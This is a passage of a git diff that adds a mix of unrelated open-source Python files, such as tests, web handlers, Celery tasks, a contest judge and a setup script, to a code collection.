model_name='machinerequest', + name='new_version_membership', + field=models.ManyToManyField(to='core.Group', blank=True), + ), + migrations.AlterModelTable( + name='projectexternallink', + table='project_links', + ), + ] diff --git a/pool/shard000/Python/0007554_test_vtk_file_reader.py b/pool/shard000/Python/0007554_test_vtk_file_reader.py new file mode 100644 index 0000000000000000000000000000000000000000..04c35cc69aaa796d351a1623a9b5eab2e9ba174c --- /dev/null +++ b/pool/shard000/Python/0007554_test_vtk_file_reader.py @@ -0,0 +1,63 @@ +# Copyright (c) 2015, Enthought, Inc. +# License: BSD Style. + +# Standard library imports. +import unittest + +# External library imports +import vtk + +# Enthought library imports +from mayavi.sources.vtk_file_reader import VTKFileReader + +# Local imports. +from .common import get_example_data + +vtk_major_version = vtk.vtkVersion.GetVTKMajorVersion() +vtk_minor_version = vtk.vtkVersion.GetVTKMinorVersion() + +class TestVTKFileReader(unittest.TestCase): + def setUp(self): + # Read a VTK data file. + self.src = VTKFileReader() + + def tearDown(self): + """For necessary clean up, automatically called by TestCase + after the test methods have been invoked""" + self.src = None + return + + def check(self, n_points, n_cells): + """Do the actual testing.""" + output = self.src.outputs[0] + self.assertEqual(output.number_of_points, n_points) + self.assertEqual(output.number_of_cells, n_cells) + + def test_structured_points_file(self): + self.src.initialize(get_example_data('texThres2.vtk')) + self.check(128, 127) + + def test_rectiliner_grid_file(self): + self.src.initialize(get_example_data('RectGrid2.vtk')) + self.check(17061, 14720) + + def test_polydata_file(self): + self.src.initialize(get_example_data('polyEx.vtk')) + self.check(8, 6) + + def test_structured_grid_file(self): + self.src.initialize(get_example_data('SampleStructGrid.vtk')) + self.check(24000, 21489) + + @unittest.skipIf(vtk_major_version == 5 and vtk_minor_version < 10, + "This test is probably broken in VTK < 5.10") + def test_unstructured_grid_file(self): + self.src.initialize(get_example_data('UGridEx.vtk')) + self.check(27, 12) + + def test_field_file(self): + self.src.initialize(get_example_data('fieldfile.vtk')) + self.check(18, 3) + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard000/Python/0007558_init__.py b/pool/shard000/Python/0007558_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..83db651c30ca4b38b24f27d24ded706d4b38c68a --- /dev/null +++ b/pool/shard000/Python/0007558_init__.py @@ -0,0 +1,123 @@ +# Copyright 2013 Google Inc. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# shared resources and global variables +from tailbone import AppError +from tailbone import PREFIX +from tailbone import as_json +from tailbone import BreakError +from tailbone import config +from tailbone import DEBUG +from tailbone import restful + +import re +import urllib +import webapp2 + +HAS_PIL = True +try: + import PIL + from google.appengine.api.images import delete_serving_url + from google.appengine.api.images import get_serving_url_async +except: + HAS_PIL = False + +from google.appengine.ext.ndb import blobstore +from google.appengine.ext import blobstore as bs +from google.appengine.ext.webapp import blobstore_handlers +from google.appengine.api import lib_config + +class _ConfigDefaults(object): + CLOUDSTORE = None + +_config = lib_config.register('tailboneFiles', _ConfigDefaults.__dict__) + + +re_image = re.compile(r"image/(png|jpeg|jpg|webp|gif|bmp|tiff|ico)", re.IGNORECASE) + + +class BlobInfo(blobstore.BlobInfo): + def to_dict(self, *args, **kwargs): + result = super(BlobInfo, self).to_dict(*args, **kwargs) + result["Id"] = str(self.key()) + return result + + +def blob_info_to_dict(blob_info): + d = {} + for prop in ["content_type", "creation", "filename", "size"]: + d[prop] = getattr(blob_info, prop) + key = blob_info.key() + if HAS_PIL and re_image.match(blob_info.content_type): + d["image_url"] = get_serving_url_async(key) + d["Id"] = str(key) + return d + + +class FilesHandler(blobstore_handlers.BlobstoreDownloadHandler): + + @as_json + def get(self, key): + if key == "": # query + if not config.is_current_user_admin(): + raise AppError("User must be administrator.") + return restful.query(self, BlobInfo) + elif key == "create": + #, gs_bucket_name=_config.CLOUDSTORE) + return { + "upload_url": blobstore.create_upload_url("/api/files/upload") + } + key = str(urllib.unquote(key)) + blob_info = bs.BlobInfo.get(key) + if blob_info: + self.send_blob(blob_info) + raise BreakError + else: + self.error(404) + return {"error": "File not found with key " + key} + + @as_json + def post(self, _): + raise AppError("You must make a GET call to /api/files/create to get a POST url.") + + @as_json + def put(self, _): + raise AppError("PUT is not supported for the files api.") + + @as_json + def delete(self, key): + if not config.is_current_user_admin(): + raise AppError("User must be administrator.") + key = blobstore.BlobKey(str(urllib.unquote(key))) + blob_info = BlobInfo.get(key) + if blob_info: + blob_info.delete() + if HAS_PIL and re_image.match(blob_info.content_type): + delete_serving_url(key) + return {} + else: + self.error(404) + return {"error": "File not found with key " + key} + + +class FilesUploadHandler(blobstore_handlers.BlobstoreUploadHandler): + @as_json + def post(self): + return [blob_info_to_dict(b) for b in self.get_uploads()] + + +app = webapp2.WSGIApplication([ + (r"{}files/upload".format(PREFIX), FilesUploadHandler), + (r"{}files/?(.*)".format(PREFIX), FilesHandler), +], debug=DEBUG) diff --git a/pool/shard000/Python/0007563_init__.py b/pool/shard000/Python/0007563_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..abbd25c66239d9810f74fb859ae50979dd95936b --- /dev/null +++ b/pool/shard000/Python/0007563_init__.py @@ -0,0 +1,62 @@ +""" + Copyright (c) 2006 Jan-Klaas Kollhof + + This file is part of jsonrpc. + + jsonrpc is free software; you can redistribute it and/or modify + it under the terms of the GNU Lesser General Public License as published by + the Free Software Foundation; either version 2.1 of the License, or + (at your option) any later version. + + This software is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public License + along with this software; if not, write to the Free Software + Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +""" + +from pyjs.jsonrpc import JSONRPCServiceBase, jsonremote +import sys, os +import Cookie + +def read_data(): + try: + contLen=int(os.environ['CONTENT_LENGTH']) + data = sys.stdin.read(contLen) + except: + data = "" + return data + +def write_data(data, cookies): + if not isinstance(data, list): + data = [data] + data = "\n".join(data) + response = "Content-Type: text/plain\n" + if cookies: + response += cookies+"\n" + response += "Content-Length: %d\n\n" % len(data) + response += data + + #on windows all \n are converted to \r\n if stdout is a terminal and + # is not set to binary mode :( + #this will then cause an incorrect Content-length. + #I have only experienced this problem with apache on Win so far. + if sys.platform == "win32": + import msvcrt + msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY) + #put out the response + sys.stdout.write(response) + +class CGIJSONRPCService(JSONRPCServiceBase): + def set_cookies(self, c): + self._cookies = c + + def __call__(self): + self._cookies = Cookie.SmartCookie() + self._cookies.load(os.environ.get('HTTP_COOKIE', '')) + d = read_data() # TODO: handle partial data + write_data(self.process(d), self._cookies.output()) + diff --git a/pool/shard000/Python/0007564_test_consumers.py b/pool/shard000/Python/0007564_test_consumers.py new file mode 100644 index 0000000000000000000000000000000000000000..ba700791c9ee3177f274edce8ec378561871b8fa --- /dev/null +++ b/pool/shard000/Python/0007564_test_consumers.py @@ -0,0 +1,216 @@ +# Copyright (c) 2014 Rackspace, Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or +# implied. +# See the License for the specific language governing permissions and +# limitations under the License. +import copy + +from testtools import testcase + +from functionaltests.api import base +from functionaltests.api.v1.behaviors import consumer_behaviors +from functionaltests.api.v1.behaviors import container_behaviors +from functionaltests.api.v1.behaviors import secret_behaviors +from functionaltests.api.v1.models import consumer_model +from functionaltests.api.v1.models import container_models +from functionaltests.api.v1.models import secret_models + +create_secret_data = { + "name": "AES key", + "expiration": "2018-02-28T19:14:44.180394", + "algorithm": "aes", + "bit_length": 256, + "mode": "cbc", + "payload": "gF6+lLoF3ohA9aPRpt+6bQ==", + "payload_content_type": "application/octet-stream", + "payload_content_encoding": "base64", +} + +default_consumer_data = { + "name": "consumername", + "URL": "consumerURL" +} + +create_container_data = { + "name": "containername", + "type": "generic", + "secret_refs": [ + { + "name": "secret1", + }, + { + "name": "secret2", + } + ] +} + + +class ConsumersTestCase(base.TestCase): + default_data = default_consumer_data + + def _create_a_secret(self): + secret_model = secret_models.SecretModel(**create_secret_data) + resp, secret_ref = self.secret_behaviors.create_secret(secret_model) + self.assertEqual(resp.status_code, 201) + self.assertIsNotNone(secret_ref) + + return secret_ref + + def setUp(self): + super(ConsumersTestCase, self).setUp() + self.secret_behaviors = secret_behaviors.SecretBehaviors(self.client) + self.container_behaviors = container_behaviors.ContainerBehaviors( + self.client + ) + self.consumer_behaviors = consumer_behaviors.ConsumerBehaviors( + self.client + ) + + self.consumer_data = copy.deepcopy(self.default_data) + + # Set up two secrets + secret_ref_1 = self._create_a_secret() + secret_ref_2 = self._create_a_secret() + + # Create a container with our secrets + create_container_data['secret_refs'][0]['secret_ref'] = secret_ref_1 + create_container_data['secret_refs'][1]['secret_ref'] = secret_ref_2 + container_model = container_models.ContainerModel( + **create_container_data + ) + + resp, container_ref = self.container_behaviors.create_container( + container_model + ) + self.assertEqual(resp.status_code, 201) + self.assertIsNotNone(container_ref) + self.container_ref = container_ref + + def tearDown(self): + self.secret_behaviors.delete_all_created_secrets() + super(ConsumersTestCase, self).tearDown() + + @testcase.attr('positive') + def test_create_consumer_defaults(self): + """Covers consumer creation. + + All of the data needed to create the consumer is provided in a + single POST. + """ + test_model = consumer_model.ConsumerModel(**self.consumer_data) + resp, consumer_data = self.consumer_behaviors.create_consumer( + test_model, self.container_ref) + + self.assertEqual(resp.status_code, 200) + self.assertIsNotNone(consumer_data) + + @testcase.attr('positive') + def test_get_consumer_defaults(self): + """Tests getting a list of consumers for a container.""" + # Create first consumer + test_model = consumer_model.ConsumerModel(**self.consumer_data) + resp, consumer_data = self.consumer_behaviors.create_consumer( + test_model, self.container_ref) + + self.assertEqual(resp.status_code, 200) + self.assertIsNotNone(consumer_data) + + # Create second consumer + test_model.name = "consumername2" + test_model.URL = "consumerURL2" + + resp, consumer_data = self.consumer_behaviors.create_consumer( + test_model, self.container_ref) + + self.assertEqual(resp.status_code, 200) + self.assertIsNotNone(consumer_data) + + # Get list of consumers + resp, consumers, nref, pref = self.consumer_behaviors.get_consumers( + self.container_ref + ) + self.assertEqual(resp.status_code, 200) + self.assertIn("consumername", consumers[0].name) + self.assertIn("consumername2", consumers[1].name) + + @testcase.attr('positive') + def test_delete_consumer_defaults(self): + """Covers consumer deletion. + + A consumer is first created, and then the consumer is deleted and + verified to no longer exist. + """ + test_model = consumer_model.ConsumerModel(**self.consumer_data) + resp, consumer_data = self.consumer_behaviors.create_consumer( + test_model, self.container_ref) + + self.assertEqual(resp.status_code, 200) + self.assertIsNotNone(consumer_data) + + # Delete the consumer + resp, consumer_data = self.consumer_behaviors.delete_consumer( + test_model, self.container_ref + ) + self.assertEqual(resp.status_code, 200) + self.assertIsNotNone(consumer_data) + self.assertNotIn(test_model.name, consumer_data) + self.assertNotIn(test_model.URL, consumer_data) + + @testcase.attr('positive') + def test_recreate_consumer_defaults(self): + """Covers consumer recreation.""" + test_model = consumer_model.ConsumerModel(**self.consumer_data) + resp, consumer_data = self.consumer_behaviors.create_consumer( + test_model, self.container_ref) + + self.assertEqual(resp.status_code, 200) + self.assertIsNotNone(consumer_data) + + # Delete the consumer + resp, consumer_data = self.consumer_behaviors.delete_consumer( + test_model, self.container_ref + ) + self.assertEqual(resp.status_code, 200) + self.assertIsNotNone(consumer_data) + self.assertNotIn(test_model.name, consumer_data) + self.assertNotIn(test_model.URL, consumer_data) + + # Register the consumer again + test_model = consumer_model.ConsumerModel(**self.consumer_data) + resp, consumer_data = self.consumer_behaviors.create_consumer( + test_model, self.container_ref) + + self.assertEqual(resp.status_code, 200) + self.assertIsNotNone(consumer_data) + + @testcase.attr('positive') + def test_create_consumer_defaults_is_idempotent(self): + """Covers checking that create consumer is idempotent.""" + # Register the consumer once + test_model = consumer_model.ConsumerModel(**self.consumer_data) + resp, consumer_data = self.consumer_behaviors.create_consumer( + test_model, self.container_ref) + + self.assertEqual(resp.status_code, 200) + self.assertIsNotNone(consumer_data) + + # Register the consumer again, without deleting it first + test_model = consumer_model.ConsumerModel(**self.consumer_data) + resp, consumer_data = self.consumer_behaviors.create_consumer( + test_model, self.container_ref) + + count = consumer_data.count(self.consumer_data) + + self.assertEqual(resp.status_code, 200) + self.assertIsNotNone(consumer_data) + self.assertIn(self.consumer_data, consumer_data) + self.assertEqual(1, count) diff --git a/pool/shard000/Python/0007579_tasks.py b/pool/shard000/Python/0007579_tasks.py new file mode 100644 index 0000000000000000000000000000000000000000..8033be5dd90d47a8528bdd52a3fa166a445bae9f --- /dev/null +++ b/pool/shard000/Python/0007579_tasks.py @@ -0,0 +1,110 @@ +from mediacrush.config import _cfgi +from mediacrush.paths import file_storage +from mediacrush.objects import RedisObject, File, FailedFile, Album +from mediacrush.celery import app, get_task_logger, chord, signature +from mediacrush.processing import processor_table, detect +from mediacrush.fileutils import compression_rate, delete_file + +import time +import os +import json + +from subprocess import call + +logger = get_task_logger(__name__) + +@app.task +def zip_album(h): + a = Album.from_hash(h) + paths = map(lambda f: file_storage(f.original), a.items) + zip_path = file_storage(h + ".zip") + + if os.path.exists(zip_path): + return + + call(["zip", "-j", zip_path] + paths) + + a.metadata = json.dumps({"has_zip": True}) + a.save() + +@app.task(bind=True, track_started=True) +def convert_file(self, h, path, p, metadata, processor_state, ignore_limit): + f = File.from_hash(h) + + if p not in processor_table: + p = 'default' + + processor = processor_table[p](path, f, processor_state, ignore_limit) + + # Execute the synchronous step. + processor.sync() + + # Save compression information + f = File.from_hash(h) # Reload file; user might have changed the config vector while processing + f.compression = compression_rate(path, f) + f.metadata = json.dumps(metadata) + f.save() + + # Notify frontend: sync step is done. + self.update_state(state="READY") + + # Execute the asynchronous step. + processor.important = False + processor.async() + +@app.task +def cleanup(results, path, h): + f = File.from_hash(h) + os.unlink(path) + + if f.status in ["internal_error", "error", "timeout", "unrecognised"]: + failed = FailedFile(hash=h, status=f.status) # Create a "failed file" record + failed.save() + + delete_file(f) + +@app.task +def process_file(path, h, ignore_limit): + t = time.time() + 2 + while True: + f = File.from_hash(h) + if f or time.time() > t: + break + time.sleep(0.05) # Wait for Redis to catch up + + try: + result = detect(path) + processor = result['type'] if result else 'default' + except: + processor = 'default' + finally: + if processor == 'default': # Unrecognised file type + failed = FailedFile(hash=h, status="unrecognised") + failed.save() + + delete_file(f) + return + + metadata = result['metadata'] if result else {} + processor_state = result['processor_state'] if result else {} + + f.processor = processor + queue = "priority" if processor.startswith("image") else "celery" + + setattr(f.flags, 'nsfw', False) + if result and result['flags']: + for flag, value in result['flags'].items(): + setattr(f.flags, flag, value) + + f.save() + + args = [h, path, processor, metadata, processor_state, ignore_limit] + task = signature("mediacrush.tasks.convert_file", args=args, options={'queue': queue}) + task_result = task.freeze() # This sets the taskid, so we can pass it to the UI + + # This chord will execute `syncstep` and `asyncstep`, and `cleanup` after both of them have finished. + c = chord(task, cleanup.s(path, h)) + c.apply_async() + + f.taskid = task_result.id + f.save() diff --git a/pool/shard000/Python/0007583_variable_replace_test.py b/pool/shard000/Python/0007583_variable_replace_test.py new file mode 100644 index 0000000000000000000000000000000000000000..e07426dd44ef4aa9e3a394cd98d645a79f8a2b75 --- /dev/null +++ b/pool/shard000/Python/0007583_variable_replace_test.py @@ -0,0 +1,56 @@ +# coding=utf-8 +# Copyright 2022 The Google Research Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# python3 +"""Tests for task_set.variable_replace.""" + +import sonnet as snt + +from task_set import variable_replace +import tensorflow.compat.v1 as tf + + +class VaraibleReplaceTest(tf.test.TestCase): + + def test_variable_replace_getter(self): + with self.test_session() as sess: + context = variable_replace.VariableReplaceGetter() + mod = snt.Linear(1, custom_getter=context) + + inp_data = tf.ones([10, 1]) + with context.use_variables(): + y1 = mod(inp_data) + sess.run(tf.initialize_all_variables()) + np_y1 = sess.run(y1) + + values = context.get_variable_dict() + + new_values = {k: v + 1 for k, v in values.items()} + + with context.use_value_dict(new_values): + np_y2 = mod(inp_data).eval() + + self.assertNear((np_y2 - np_y1)[0], 2, 1e-8) + + for v in values.values(): + v.assign(v + 1).eval() + + with context.use_variables(): + np_y3 = mod(inp_data).eval() + self.assertNear((np_y3 - np_y2)[0], 0, 1e-8) + + +if __name__ == '__main__': + tf.test.main() diff --git a/pool/shard000/Python/0007594_judge.py b/pool/shard000/Python/0007594_judge.py new file mode 100644 index 0000000000000000000000000000000000000000..d5623447e433b43837b47b6ab0283b7754788d17 --- /dev/null +++ b/pool/shard000/Python/0007594_judge.py @@ -0,0 +1,133 @@ +#! /usr/bin/env python +#-*- coding: utf8 -*- + +from six import itervalues +from math import ceil +from settings import LANGUAGES, NODE +from sandbox import Sandbox +from result import Result +import threading +import logging + + +class Judge(threading.Thread): + """Compiles, executes and checks solutions for a specific task.""" + + def __init__(self, task, submission): + self.task = task + self.language = submission['language'] + fileName = LANGUAGES[self.language].get('sourceFilename') + if callable(fileName): + fileName = fileName(submission['source']) + self.fileFullName = fileName + self.fileName, self.fileExtension = fileName.split('.') + self._results = [] + self._compilation_log = None + self.source = submission['source'] + + # If the submission was sent in an active contest + # judge sample tests only + self.sampleTests = bool(int(submission['active'])) + threading.Thread.__init__(self) + + def run(self): + """Process the judge request - create the sandbox, + compile the source, execute and generate results.""" + + with Sandbox.new() as sandbox: + with sandbox.file(self.fileFullName) as sourceFile: + sourceFile.write(self.source) + self.compile(sandbox) + self.execute(sandbox) + + def compare_files(self, out, ref=None): + """Basic comparation function. + Compares output file with reference file.""" + + out = out.rstrip() + ref = ref.rstrip() + out = out.split('\n') + ref = ref.split('\n') + if len(out) != len(ref): + return False + for outLine, refLine in zip(out, ref): + if outLine.rstrip() != refLine.rstrip(): + return False + return True + + def check_solution(self, out, ref=None, fun=compare_files): + """Compare solution with chosen function.""" + return fun(self, out, ref) + + def compile(self, sandbox): + """Compile source code and save compile logs""" + logging.info("Compiling the submission source.") + cmd = '{compiler} {compilerOptions} {fileName}.{fileExtension}'.format( + compiler=LANGUAGES[self.language].get('compiler'), + compilerOptions=LANGUAGES[self.language].get('compilerOptions'), + fileName=self.fileName, + fileExtension=self.fileExtension + ) + + ret = sandbox.execute( + cmd, + None, + timeLimit=NODE['SANDBOX']['COMPILER_TIMELIMIT'] + ) + + self._compilation_log = u'{} {}'.format(*ret[0]) + logging.info("Compilation finished.") + + def execute(self, sandbox): + """Run program with all tests available for specific task + and compare using check_solution. Program is limited by execution time + and memory depending od information taken from the task.""" + logging.info("Executing the submission.") + executionPath = LANGUAGES[self.language].get('runCommand').format( + fileName=self.fileName, + fileExtension=self.fileExtension, + sandboxHome=NODE['SANDBOX']['HOME_DIR'], + ) + + for test in itervalues(self.task.tests): + if not test.isSampleTest and self.sampleTests: + continue + + (out, err), returncode, runTime = sandbox.execute( + executionPath, + test.input, + timeLimit=int(ceil(test.timeLimit)), + memoryLimit=test.memoryLimit + ) + + if not returncode == 0: + runTime = 0 + + if runTime > test.timeLimit: + returncode = 9 + + res = Result( + returncode, + int(self.check_solution(out, test.output) and returncode != 9), + runTime) + del out + self._results.append(res) + logging.info("Execution finished.") + + if err: + logging.warning("There were errors during execution:\n{}".format( + err + )) + + @property + def results(self): + """Return compiler logs and results""" + if len(self._results) == 0: + return None + return self._results + + @property + def compilation_log(self): + if not self._compilation_log: + return None + return self._compilation_log diff --git a/pool/shard000/Python/0007595_test_fact.py b/pool/shard000/Python/0007595_test_fact.py new file mode 100644 index 0000000000000000000000000000000000000000..49c6ad58af2adffce0c3c4741e0165cb0366a2fa --- /dev/null +++ b/pool/shard000/Python/0007595_test_fact.py @@ -0,0 +1,58 @@ +# -*- encoding: utf-8 -*- +# vim: ts=4 sw=4 expandtab ai +"""Test class for Fact CLI""" + +from ddt import ddt +from fauxfactory import gen_string +from robottelo.cli.fact import Fact +from robottelo.common.decorators import data, run_only_on, stubbed +from robottelo.test import CLITestCase + + +@run_only_on('sat') +@ddt +class TestFact(CLITestCase): + """Fact related tests.""" + + @stubbed('Need to create facts before we can check them.') + @data( + 'uptime', 'uptime_days', 'uptime_seconds', 'memoryfree', 'ipaddress', + ) + def test_list_success(self, fact): + """@Test: Test Fact List + + @Feature: Fact - List Positive + + @Assert: Fact List is displayed + + """ + + args = { + 'search': "fact='%s'" % fact, + } + + result = Fact().list(args) + stdout = result.stdout + + self.assertEqual(stdout[0]['fact'], fact) + + @data( + gen_string("alpha", 10), + gen_string("alpha", 10), + gen_string("alpha", 10), + gen_string("alpha", 10), + ) + def test_list_fail(self, fact): + """@Test: Test Fact List failure + + @Feature: Fact - List Negative + + @Assert: Fact List is not displayed + + """ + + args = { + 'search': "fact='%s'" % fact, + } + self.assertEqual( + Fact().list(args).stdout, [], "No records should be returned") diff --git a/pool/shard000/Python/0007596_test_loadables.py b/pool/shard000/Python/0007596_test_loadables.py new file mode 100644 index 0000000000000000000000000000000000000000..668a4e55ac39fc0b77b2fafb0e539188ea5f406f --- /dev/null +++ b/pool/shard000/Python/0007596_test_loadables.py @@ -0,0 +1,113 @@ +# Copyright 2012 OpenStack Foundation # All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. +""" +Tests For Loadable class handling. +""" + +from zun.common import exception +from zun.tests import base +from zun.tests.unit.scheduler import fake_loadables + + +class LoadablesTestCase(base.TestCase): + def setUp(self): + super(LoadablesTestCase, self).setUp() + self.fake_loader = fake_loadables.FakeLoader() + # The name that we imported above for testing + self.test_package = 'zun.tests.unit.scheduler.fake_loadables' + + def test_loader_init(self): + self.assertEqual(self.fake_loader.package, self.test_package) + # Test the path of the module + ending_path = '/' + self.test_package.replace('.', '/') + self.assertTrue(self.fake_loader.path.endswith(ending_path)) + self.assertEqual(self.fake_loader.loadable_cls_type, + fake_loadables.FakeLoadable) + + def _compare_classes(self, classes, expected): + class_names = [cls.__name__ for cls in classes] + self.assertEqual(set(class_names), set(expected)) + + def test_get_all_classes(self): + classes = self.fake_loader.get_all_classes() + expected_class_names = ['FakeLoadableSubClass1', + 'FakeLoadableSubClass2', + 'FakeLoadableSubClass5', + 'FakeLoadableSubClass6'] + self._compare_classes(classes, expected_class_names) + + def test_get_matching_classes(self): + prefix = self.test_package + test_classes = [prefix + '.fake_loadable1.FakeLoadableSubClass1', + prefix + '.fake_loadable2.FakeLoadableSubClass5'] + classes = self.fake_loader.get_matching_classes(test_classes) + expected_class_names = ['FakeLoadableSubClass1', + 'FakeLoadableSubClass5'] + self._compare_classes(classes, expected_class_names) + + def test_get_matching_classes_with_underscore(self): + prefix = self.test_package + test_classes = [prefix + '.fake_loadable1.FakeLoadableSubClass1', + prefix + '.fake_loadable2._FakeLoadableSubClass7'] + self.assertRaises(exception.ClassNotFound, + self.fake_loader.get_matching_classes, + test_classes) + + def test_get_matching_classes_with_wrong_type1(self): + prefix = self.test_package + test_classes = [prefix + '.fake_loadable1.FakeLoadableSubClass4', + prefix + '.fake_loadable2.FakeLoadableSubClass5'] + self.assertRaises(exception.ClassNotFound, + self.fake_loader.get_matching_classes, + test_classes) + + def test_get_matching_classes_with_wrong_type2(self): + prefix = self.test_package + test_classes = [prefix + '.fake_loadable1.FakeLoadableSubClass1', + prefix + '.fake_loadable2.FakeLoadableSubClass8'] + self.assertRaises(exception.ClassNotFound, + self.fake_loader.get_matching_classes, + test_classes) + + def test_get_matching_classes_with_one_function(self): + prefix = self.test_package + test_classes = [prefix + '.fake_loadable1.return_valid_classes', + prefix + '.fake_loadable2.FakeLoadableSubClass5'] + classes = self.fake_loader.get_matching_classes(test_classes) + expected_class_names = ['FakeLoadableSubClass1', + 'FakeLoadableSubClass2', + 'FakeLoadableSubClass5'] + self._compare_classes(classes, expected_class_names) + + def test_get_matching_classes_with_two_functions(self): + prefix = self.test_package + test_classes = [prefix + '.fake_loadable1.return_valid_classes', + prefix + '.fake_loadable2.return_valid_class'] + classes = self.fake_loader.get_matching_classes(test_classes) + expected_class_names = ['FakeLoadableSubClass1', + 'FakeLoadableSubClass2', + 'FakeLoadableSubClass6'] + self._compare_classes(classes, expected_class_names) + + def test_get_matching_classes_with_function_including_invalids(self): + # When using a method, no checking is done on valid classes. + prefix = self.test_package + test_classes = [prefix + '.fake_loadable1.return_invalid_classes', + prefix + '.fake_loadable2.return_valid_class'] + classes = self.fake_loader.get_matching_classes(test_classes) + expected_class_names = ['FakeLoadableSubClass1', + '_FakeLoadableSubClass3', + 'FakeLoadableSubClass4', + 'FakeLoadableSubClass6'] + self._compare_classes(classes, expected_class_names) diff --git a/pool/shard000/Python/0007601_setup.py b/pool/shard000/Python/0007601_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..9e9aa0ac64460aba25b78fc74897b41f0b67fd47 --- /dev/null +++ b/pool/shard000/Python/0007601_setup.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# Copyright (C) 2011 Cédric Krier + +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +from setuptools import setup +import re +import os +import ConfigParser + +def read(fname): + return open(os.path.join(os.path.dirname(__file__), fname)).read() + +config = ConfigParser.ConfigParser() +config.readfp(open('tryton.cfg')) +info = dict(config.items('tryton')) + +for key in ('depends', 'extras_depend', 'xml'): + if key in info: + info[key] = info[key].strip().splitlines() +major_version, minor_version = 3, 8 + +requires = [] + +for dep in info.get('depends', []): + if dep.startswith('health'): + requires.append('trytond_%s == %s' % + (dep, info.get('version'))) + elif not re.match(r'(ir|res|webdav)(\W|$)', dep): + requires.append('trytond_%s >= %s.%s, < %s.%s' % + (dep, major_version, minor_version, major_version, + minor_version + 1)) +requires.append('trytond >= %s.%s, < %s.%s' % + (major_version, minor_version, major_version, minor_version + 1)) + +setup(name='trytond_health_crypto', + version=info.get('version', '0.0.1'), + description=info.get('description', 'GNU Health Cryptography Module'), + author=info.get('author', 'GNU Solidario'), + author_email=info.get('email', 'health@gnusolidario.org'), + url=info.get('website', 'http://health.gnu.org/'), + download_url='http://ftp.gnu.org/gnu/health/', + package_dir={'trytond.modules.health_crypto': '.'}, + packages=[ + 'trytond.modules.health_crypto', + ], + package_data={ + 'trytond.modules.health_crypto': info.get('xml', []) \ + + info.get('translation', []) \ + + ['tryton.cfg', 'view/*.xml', 'doc/*.rst', 'locale/*.po', + 'report/*.odt', 'icons/*.svg'], + }, + + classifiers=[ + 'Development Status :: 5 - Production/Stable', + 'Environment :: Plugins', + 'Framework :: Tryton', + 'Intended Audience :: Developers', + 'Intended Audience :: Healthcare Industry', + 'License :: OSI Approved :: GNU General Public License (GPL)', + 'Natural Language :: English', + 'Natural Language :: Spanish', + 'Operating System :: OS Independent', + 'Programming Language :: Python :: 2.7', + 'Topic :: Scientific/Engineering :: Bio-Informatics', + 'Topic :: Scientific/Engineering :: Medical Science Apps.', + ], + license='GPL-3', + install_requires=requires, + zip_safe=False, + entry_points=""" + [trytond.modules] + health_crypto = trytond.modules.health_crypto + """, + test_suite='tests', + test_loader='trytond.test_loader:Loader', + ) diff --git a/pool/shard000/Python/0007604_dummy.py b/pool/shard000/Python/0007604_dummy.py new file mode 100644 index 0000000000000000000000000000000000000000..f4eb0badf5f04980dd909f85e39cda254a7f81ea --- /dev/null +++ b/pool/shard000/Python/0007604_dummy.py @@ -0,0 +1,147 @@ +# Copyright 2014 Sardar Yumatov +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import logging +import time +from struct import pack + +try: + import threading as _threading +except ImportError: + import dummy_threading as _threading + +from . import BaseBackend, BaseConnection +from ..certificate import BaseCertificate + +# python 3 support +import six + +# module level logger +LOG = logging.getLogger(__name__) + + +class Certificate(BaseCertificate): + """ Dummy certificate """ + + def load_context(self, cert_string=None, cert_file=None, key_string=None, key_file=None, passphrase=None): + """ Returns None as we don't handle any context. """ + return None, None + + def dump_certificate(self, raw_certificate): + """ Returns dummy contents. All dummy certificates are 